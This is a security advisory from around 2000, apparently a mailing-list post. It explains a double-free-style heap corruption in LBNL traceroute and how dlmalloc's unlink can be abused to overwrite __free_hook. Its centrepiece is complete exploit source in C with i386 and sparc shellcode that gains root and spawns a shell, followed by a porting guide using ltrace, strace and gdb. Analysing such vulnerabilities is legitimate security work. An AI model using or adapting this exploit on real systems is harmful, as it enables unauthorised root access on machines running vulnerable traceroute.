[MSY] Local root exploit in LBNL traceroute

[Michel Kaempf <maxx () MASTERSECURITY FR>]

---------------[ MasterSecuritY <www.mastersecurity.fr> ]---------------

---------------[ Local root exploit in LBNL traceroute ]----------------
----------[ By Michel "MaXX" Kaempf <maxx () mastersecurity fr> ]----------

--[ 0x00 - Table of contents ]------------------------------------------

0x01 - Brief summary
0x02 - The problem
0x03 - Exploiting the problem
0x04 - The exploit
0x05 - Upgrading the exploit
0x06 - Fixes
0x07 - Credits
0x08 - References

--[ 0x01 - Brief summary ]----------------------------------------------

Due to a wrong call to free(), LBNL (Lawrence Berkeley National
Laboratory) traceroute can be exploited by a malicious local user
in order to gain root access to the system. The vulnerability was
discovered by Pekka Savola <pekkas () netcore fi>, first discussed by
Chris Evans <chris () ferret lmh ox ac uk> on the security-audit[1] and
bugtraq[2] lists, and finally exploited by Dvorak <dvorak () synnergy net>
in his post to the bugtraq[3] list.

I was working on the problem when Dvorak released his exploit to the
bugtraq list. However, I decided to continue my own exploit, because
I needed a simple and working exploit on both big and little endian
architectures.

--[ 0x02 - The problem ]------------------------------------------------

A vulnerable version of traceroute dies with a segmentation violation
when running `traceroute -g 12 -g 42'. When looking closer at the
traceroute sources, the guilty sequence appears to be:

...
name = savestr("12");
...
free(name);
...
name = savestr("42");
...
free(name);

At this point, the segmentation fault occurs. The savestr() function is
"a replacement for strdup() that cuts down on malloc() overhead". How
does savestr() work internally, and why does the second call to free()
end with a segmentation violation?

When savestr("12") is called, a 1024 bytes buffer is allocated thanks
to malloc(). The pointer returned by malloc() will be called p from now
on. The "12" string is then stored at the beginning of this buffer, and
the static pointer strptr is updated in order to point after this null
terminated "12" string (i.e. strptr = p + strlen("12") + 1). savestr()
finally returns the pointer p.

When free() is called for the first time, the 1024 bytes buffer
allocated thanks to malloc() and beginning at the pointer p is freed.

When savestr("42") is called, the "42" string is stored in the
previously freed 1024 bytes buffer, at the position described by the
static pointer strptr (p + strlen("12") + 1). This is already a problem,
but not an exploitable one. savestr() finally returns the pointer (p +
strlen("12") + 1).

When free() is called for the second time, it tries to free the buffer
located at (p + strlen("12") + 1). Unfortunately, this pointer was not
returned by malloc(), and that's why this call to free() dies with a
segmentation fault.

--[ 0x03 - Exploiting the problem ]-------------------------------------

The second call to free() can be exploited. The malloc implementation
used by most Linux systems is Doug Lea's malloc, and works as follows:

- Free and allocated blocks of memory are described by "chunks",
beginning at 8 bytes before the pointer returned to the user by malloc()
or given by the user to free() (called mem in the picture below).

- In the first 4 bytes of a chunk is stored the size of the previous
chunk (called prev_size in the picture below), if allocated.

- In the next 4 bytes is stored the size (in bytes) of the chunk itself
(called size in the picture below), but the PREV_INUSE and IS_MMAPPED
bits of this integer have special meanings.

- Free chunks are stored in circular doubly-linked lists: the 4 bytes
after size contain a forward pointer to the next chunk in the list
(called fd in the picture below), and the next 4 bytes contain a back
pointer to the previous chunk in the list (called bk in the picture
below).

+-----------+----------+----------+----------+--------------------------
| prev_size |   size   |    fd    |    bk    | ...
+-----------+----------+----------+----------+--------------------------
^                      ^
chunk                  mem

When running `traceroute -g 123 -g gateway host hell code', where
gateway, host, hell and code are strings which will be described later,
the second call to free(), discussed previously, will look like this:

+-----------+----------+-----+-----+-----+------+-----------------------
| prev_size |   size   | '1' | '2' | '3' | '\0' | ...
+-----------+----------+-----+-----+-----+------+-----------------------
            ^          ^                        ^
        chunk          p               mem (the pointer given to free())

Fortunately, the four bytes before the pointer given to free() will in
fact *not* be the four bytes of the null terminated string "123", but
the binary IP address corresponding to gateway, because of a calloc()
call in traceroute, between the second savestr() call and the second
free() call. Nice. If this binary IP address is constructed so that the
PREV_INUSE bit is set and the IS_MMAPPED bit is unset, the second call
to free() will look like this:

chunk = mem2chunk(mem);
// equivalent to chunk = mem - 8, or chunk = p - 4 here

if (chunk_is_mmapped(chunk)) {
        ...
}
// will not be executed since IS_MMAPPED is unset

hd = chunk->size;
sz = hd & ~PREV_INUSE;
// PREV_INUSE is discarded when computing the real size of the chunk

next = chunk_at_offset(chunk, sz);
// equivalent to next = chunk + sz

nextsz = chunksize(next);
// equivalent to nextsz = next->size & ~(PREV_INUSE|IS_MMAPPED)

if (!(hd & PREV_INUSE)) {
        ...
}
// will no be executed since PREV_INUSE is set

if (!(inuse_bit_at_offset(next, nextsz))) {
// equivalent to if (!( (next + nextsz)->size & PREV_INUSE )) {
        ...
}
// this block will be executed if the next chunk is built wisely...
// *must* be executed, because it is where the exploit does the trick

So, the next chunk has to be constructed wisely, and will be stored
on the stack, thanks to the host argument given to traceroute. This
host argument should also be padded in order to be aligned on the stack
(processors like sparc always require alignment).

The gateway argument should be chosen so that next points to the host
argument on the stack, and so that PREV_INUSE is set and IS_MMAPPED is
unset. Fortunately, if host is aligned on the stack, IS_MMAPPED will be
unset, and PREV_INUSE can be set since free() discards this bit when
computing the real size of the chunk.

Finally, the hell and code arguments given to traceroute will contain
the shellcode, and should be padded so that hell is aligned on the
stack. Why was the shellcode separated into two parts? Well, read on :-)

Now, how should the host argument be constructed, so that the block
discussed previously will be executed? The host argument will look like
this:

AAAABBBBCCCCDDDDEEEEXXX

BBBB will contain the prev_size of the next chunk, CCCC the size of the
next chunk, DDDD the fd pointer and EEEE the bk pointer. XXX is used
for padding, because if the argument following the host argument on the
stack (hell) is 4 bytes aligned, host will also be 4 bytes aligned,
thanks to this null terminated string "XXX". Finally, AAAA was added
because these 4 bytes of the stack will be overwritten by free().

If CCCC (next->size) is equal to 0xffffffff, the call to
inuse_bit_at_offset() discussed previously will be equivalent to
(BBBB & PREV_INUSE). This test should fail, and that's why setting
BBBB to (0xffffffff & ~PREV_INUSE) should do the trick. What else?
Well, the DDDD and EEEE bytes, the fd and bk pointers... Once the
inuse_bit_at_offset() test completed, free() runs the following macro:

unlink(next, bck, fwd);

Where unlink() looks like this:

#define unlink(P, BK, FD)                                              \
{                                                                      \
        BK = P->bk;                                                    \
        FD = P->fd;                                                    \
        FD->bk = BK;                                                   \
        BK->fd = FD;                                                   \
}

Wow, thanks to unlink(), a function pointer stored somewhere in the
memory can be overwritten with a pointer to the shellcode... __free_hook
is a nice one (thank you Solar Designer). After unlink(), the next call
to free() should execute the shellcode and lead to root.

The fd and bk pointers should be built carefully. The memory address
given by ((unsigned int *)fd)[3] will be overwritten with the memory
address given by bk, that's why setting fd to (&__free_hook - 12) and bk
to the address of the hell argument on the stack is a good choice. But,
because there is always a but, the memory address given by ((unsigned
int *)bk)[2] (i.e. the bytes 8, 9, 10 and 11 of the shellcode) will also
be overwritten.

That's why the beginning of the shellcode should jump these 4 garbage
bytes. This is easy on i386 architectures, where one byte can be used
for the jump instruction, and one byte for the number of bytes to be
jumped. On sparc processors, 4 bytes are needed for the jump instruction
and the number of 4 bytes blocks to be jumped, and the next 4 bytes
should describe a nop instruction, because of the sparc pipeline. But
the number of 4 bytes blocks to be jumped will contain a null byte,
and that's impossible: the shellcode is a string, and a null byte in a
string corresponds to a string terminator.

The solution? The following exploit divides the shellcode into two
parts, hell and code, so that the null byte terminator of the hell
string can be used as part of the sparc jump instruction. And for
architectures where this null byte is not required, the jump instruction
located in the hell argument will automagically skip the hell null byte
terminator.

--[ 0x04 - The exploit ]------------------------------------------------

/*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * traceroot.c - Local root exploit in LBNL traceroute
 * Copyright (C) 2000  Michel "MaXX" Kaempf <maxx () mastersecurity fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/traceroot/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2

#define i386_linux \
        /* setuid( 0 ); */ \
        "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
        /* setgid( 0 ); */ \
        "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
        /* Aleph One :) */ \
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
        "\x80\xe8\xdc\xff\xff\xff/bin/sh"

#define sparc_linux \
        /* setuid( 0 ); */ \
        "\x90\x1a\x40\x09\x82\x10\x20\x17\x91\xd0\x20\x10" \
        /* setgid( 0 ); */ \
        "\x90\x1a\x40\x09\x82\x10\x20\x2e\x91\xd0\x20\x10" \
        /* Aleph One :) */ \
        "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" \
        "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" \
        "\xd0\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x10"

struct arch {
        char *          description;
        char *          filename;
        unsigned int    stack;
        char *          hell;
        char *          code;
        unsigned int    p;
        unsigned int    __free_hook;
};

struct arch archlist[] = {
        {
                "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386",
                "/usr/sbin/traceroute",
                0xc0000000 - 4,
                "\xeb\x0aXXYYYYZZZ",
                i386_linux,
                0x0804ce38,
                0x400f1cd8
        },
        {
                "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc",
                "/usr/sbin/traceroute",
                0xf0000000 - 8,
                "\x10\x80",
                "\x03\x01XXXYYYY" sparc_linux,
                0x00025598,
                0x70152c34
        }
};

void usage( char * string )
{
        int i;

        fprintf( stderr, "Usage: %s architecture\n", string );
        fprintf( stderr, "Available architectures:\n" );
        for ( i = 0; i < sizeof(archlist) / sizeof(struct arch); i++ ) {
                fprintf( stderr, "%i: %s\n", i, archlist[i].description );
        }
}

int main( int argc, char * argv[] )
{
        char            gateway[1337];
        char            host[1337];
        char            hell[1337];
        char            code[1337];
        char *          execve_argv[] = { NULL, "-g", "123", "-g", gateway, host, hell, code, NULL };
        int             i;
        struct arch *   arch;
        unsigned int    hellcode;
        unsigned int    size;

        if ( argc != 2 ) {
                usage( argv[0] );
                return( -1 );
        }
        i = atoi( argv[1] );
        if ( i < 0 || i >= sizeof(archlist) / sizeof(struct arch) ) {
                usage( argv[0] );
                return( -1 );
        }
        arch = &( archlist[i] );

        execve_argv[0] = arch->filename;

        strcpy( code, arch->code );
        strcpy( hell, arch->hell );
        hellcode = arch->stack - (strlen(arch->filename) + 1) - (strlen(code) + 1) - (strlen(hell) + 1);
        for ( i = 0; i < hellcode - (hellcode & ~3); i++ ) {
                strcat( code, "X" );
        }
        hellcode = hellcode & ~3;

        strcpy( host, "AAAABBBBCCCCDDDDEEEEXXX" );
        ((unsigned int *)host)[1] = 0xffffffff & ~PREV_INUSE;
        ((unsigned int *)host)[2] = 0xffffffff;
        ((unsigned int *)host)[3] = arch->__free_hook - 12;
        ((unsigned int *)host)[4] = hellcode;

        size = (hellcode - (strlen(host) + 1) + 4) - (arch->p - 4);
        size = size | PREV_INUSE;
        sprintf(
                gateway,
                "0x%02x.0x%02x.0x%02x.0x%02x",
                ((unsigned char *)(&size))[0],
                ((unsigned char *)(&size))[1],
                ((unsigned char *)(&size))[2],
                ((unsigned char *)(&size))[3]
        );

        execve( execve_argv[0], execve_argv, NULL );

        return( -1 );
}

--[ 0x05 - Upgrading the exploit ]--------------------------------------

The exploit was written to easily include new architectures and
operating systems. In order to support new platforms, 7 different
elements are needed:

- description, a string describing the concerned platform. For the
moment, only "Debian GNU/Linux 2.2 (traceroute 1.4a5-2) i386" and
"Debian GNU/Linux 2.2 (traceroute 1.4a5-2) sparc" are supported.

- filename, a string containing the full path where the
traceroute binary can be found. On most systems, this will be
"/usr/sbin/traceroute".

- stack, the address where the first argument given to a program (the
program name itself) can be found. On i386 architectures, this is
0xc0000000 - 4, on sparc architectures it is 0xf0000000 - 8.

- hell and code, a special shellcode divided into two parts... see the
discussion above. hell and code are already available for i386 and sparc
processors.

- p, the pointer returned to the savestr() function by the malloc(1024)
call. On architectures where ltrace is available, this pointer can be
easily obtained:

% cp /usr/sbin/traceroute /tmp
% ltrace /tmp/traceroute -g 12 -g 42 2>&1 | grep 'malloc(1024)'
malloc(1024)                                      = 0x0804ce38

On architectures were ltrace is not available (like sparc), the whole
thing is trickier: download the traceroute sources, and add the
following line in savestr.c, after the malloc(1024) call:

fprintf( stderr, "debug: strptr == %p;\n", strptr );

Now, compile traceroute, and run it through strace:

% strace ./traceroute -g 12 -g 42

Compute the difference between the pointer returned by the debug message
and the pointer returned by brk(0). Now run the real traceroute through
strace:

% cp /usr/sbin/traceroute /tmp
% strace /tmp/traceroot -g 12 -g 42 2>&1 | grep 'brk(0)'
brk(0)                                  = 0x22418

Now add the difference computed before to this pointer, and yes, the
resulting pointer is p.

- __free_hook, the memory address were the __free_hook function pointer
is stored. Use GDB in order to find out the value of this last element:

% cp /usr/sbin/traceroute /tmp
% gdb /tmp/traceroute
(gdb) break exit
(gdb) run
(gdb) p &__free_hook

It is as simple as that. Feel free to send support for new architectures
so that it can be included in the official version of the exploit,
available at:

ftp://maxx.via.ecp.fr/traceroot/

--[ 0x06 - Fixes ]------------------------------------------------------

Every vendor should already have released a patched version of
traceroute since the vulnerability was published and exploited about a
month ago. But anyway, a fixed version of traceroute is available at:

ftp://ftp.ee.lbl.gov/traceroute.tar.gz

--[ 0x07 - Credits ]----------------------------------------------------

Without Pekka Savola, Chris Evans, Dvorak and Solar Designer, there
would be no exploit :-) Without VIA, there would be no big endian
exploit. Thank you very much.

--[ 0x08 - References ]-------------------------------------------------

[1]http://www2.merton.ox.ac.uk/~security/security-audit-200007/0008.html
[2]http://www2.merton.ox.ac.uk/~security/bugtraq-200009/0482.html
[3]http://www2.merton.ox.ac.uk/~security/bugtraq-200010/0084.html

--
Michel "MaXX" Kaempf